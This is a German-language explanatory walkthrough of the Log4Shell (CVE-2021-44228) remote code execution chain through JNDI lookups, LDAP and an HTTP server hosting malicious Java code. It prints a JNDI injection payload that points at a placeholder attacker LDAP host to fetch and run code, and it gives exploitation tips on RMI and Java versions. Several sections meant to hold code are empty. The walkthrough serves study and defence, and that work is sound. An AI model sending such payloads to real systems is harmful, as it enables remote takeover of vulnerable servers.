
Studie zur Schwachstelle CVE-2021-44228
Im Folgenden wird ein detaillierter Prozess eines Remote-Injection-Falls durch Ausnutzung der Log4Shell-Schwachstelle beschrieben. Zunächst müssen wir drei Teile kennen:
Log4j2 ermöglicht das Loggen von Daten mithilfe einer Funktion namens Nachschlagesubstitution für Nachrichten, bei der Logmeldungen Daten dynamisch aus verschiedenen Quellen abrufen können. (Es unterstützt JNDI Lookup)
JNDI Lookup: Ermöglicht das Abrufen von Daten über die Java Naming and Directory Interface (JNDI) API, die mit verschiedenen Verzeichnisdiensten interagieren kann

LDAP (Lightweight Directory Access Protocol): Wird hauptsächlich für den Zugriff und die Verwaltung von Verzeichnisinformationsdiensten über ein Netzwerk verwendet.
Hier ist ein einfaches Beispiel für Remote Code Execution:

Der Hacker richtet sowohl einen LDAP-Server (über LDAP-Protokoll erreichbar, der einen Java-Schadcode-Verweis speichert) als auch einen HTTP-Server (der Speicherort für den Schadcode) ein.
Einrichten eines HTTP-Servers im Verzeichnis, das den kompilierten Schadcode enthält:

Einrichten eines LDAP-Servers, der den Verweis speichert:

Der Hacker sendet eine schädliche Eingabe (${jndi:ldap://LDAPSERVER IP:PORT/code}) an das Softwaresystem, auf dem log4j2 installiert ist

Log4j2 verwendet die Lookup-Funktion, um eine Anfrage an den LDAP-Server zu senden
Der LDAP-Server leitet die Anfragen über Java-Code-Verweise, die auf dem LDAP-Server gespeichert sind, an den HTTP-Server weiter.
Der HTTP-Server sendet den Schadcode an das Softwaresystem zurück, und das Softwaresystem führt den Schadcode aus.
Schadcode:

Ausführung des Schadcodes erfolgreich:

WICHTIG:
Es ist nicht so, dass wir nur den LDAP-Server für Remote Code Execution verwenden können, wir können auch andere Methoden (wie RMI) nutzen, solange log4j2 erfolgreich die Nachschlagesubstitution durchführt und den Schadcode ausführt.
Unterschiedliche Java-Versionen können den Exploit-Prozess verändern (hier verwenden wir Java 1.8u112).
Es wird empfohlen, im Schadcode dieselbe Java-Version wie im Software-System (Server mit log4j2) zu verwenden, oder zumindest nicht höher als die Java-Version der Software.

Der Lookup-Code in Log4j2:
